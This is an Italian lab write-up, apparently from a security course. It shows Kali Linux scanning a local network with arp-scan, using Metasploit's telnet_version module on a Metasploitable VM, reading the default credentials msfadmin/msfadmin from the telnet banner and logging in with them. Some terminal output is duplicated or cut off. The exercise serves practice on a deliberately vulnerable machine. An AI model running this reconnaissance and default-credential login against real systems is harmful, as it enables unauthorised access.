

Configurazione macchina attaccante e macchina target:

```
(kali@kali)~[/Desktop]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKN
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
   inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_cod
   link/ether 08:00:27:58:75:24 brd ff:ff:ff:ff:ff:ff
   inet 192.168.1.25/24 brd 192.168.1.255 scope global noprefix
       valid_lft forever preferred_lft forever
   inet6 fe80::d323:e777:c38d:3d5c/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

(kali@kali)~[/Desktop]
$ sudo arp-scan -l
[sudo] password for kali:
Interface: eth0, type: EN10MB, MAC: 08:00:27:58:75:24, IPv4: 192.168.1.25
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.40    08:00:27:88:44:ec    PCS Systemtechnik GmbH

1 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.127 seconds (120.36 hosts/sec). 1 responded

(kali@kali)~[/Desktop]
$
```

IP Macchina kali(attaccante): 192.168.1.25

IP Macchina Metasploitable(target): 192.168.1.40

Modulo per l'exploit:

```
msf6 > search telnet_version

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Descri
-  -                                     -
0  auxiliary/scanner/telnet/lantronix_telnet_version . normal No  Lantro
nix Telnet Service Banner Detection
1  auxiliary/scanner/telnet/telnet_version . normal No  Telnet
Service Banner Detection

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/telnet/telnet_version

msf6 >
```

```
(kali@kali)~[/Desktop]
$ sudo arp-scan -l
[sudo] password for kali:
Interface: eth0, type: EN10MB, MAC: 08:00:27:58:75:24, IPv4: 192.168.1.25
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.40    08:00:27:88:44:ec    PCS Systemtechnik GmbH

1 packets received by filter, 0 packet
Ending arp-scan 1.10.0: 256 hosts scan
hosts/sec). 1 responded

(kali@kali)~[/Desktop]
$
```

Configurazione del modulo:

```
kali@kali: ~/Desktop
File Actions Edit View Help
nmap Telnet Service Banner Detection
1 auxiliary/scanner/telnet/telnet_version . normal No Telnet
Service Banner Detection

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/telnet/telnet_version

msf6 > use 1
msf6 auxiliary(scanner/telnet/telnet_version) > options

Module options (auxiliary/scanner/telnet/telnet_version):

Name      Current Setting  Required  Description
-----
PASSWORD   no               no        The password for the specified username
RHOSTS     yes              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      23               yes       The target port (TCP)
THREADS    1                yes       The number of concurrent threads (max one per host)
TIMEOUT    30               yes       Timeout for the Telnet probe
USERNAME    no               no        The username to authenticate as

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
```

Il modulo utilizzato effettua una scansione per verificare se il servizio telnet è attivo su un target da noi specificato.

In questo caso lanciando il modulo possiamo notare che il servizio telnet è attivo sulla nostra macchina target, inoltre in questo caso ci restituisce anche un banner identico a quello della schermata di login del servizio telnet della metasploitable. In questo caso il banner contiene delle informazioni “sensibili” ossia contiene in chiaro le credenziali di accesso alla macchina target, provando ad utilizzare queste credenziali per connetterci alla macchina target utilizzando il servizio telnet, notiamo come il login vada a buon fine.

```
kali@kali: ~/Desktop
File Actions Edit View Help
msf6 auxiliary(scanner/telnet/telnet_version) > run

[+] 192.168.1.40:23 - 192.168.1.40:23 TELNET
- . . . . .
Warning: Never expose this VM to an untrusted network
tact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started
asploitable login:
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
msf6 auxiliary(scanner/telnet/telnet_version) >

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Dec 17 09:26:28 EST 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```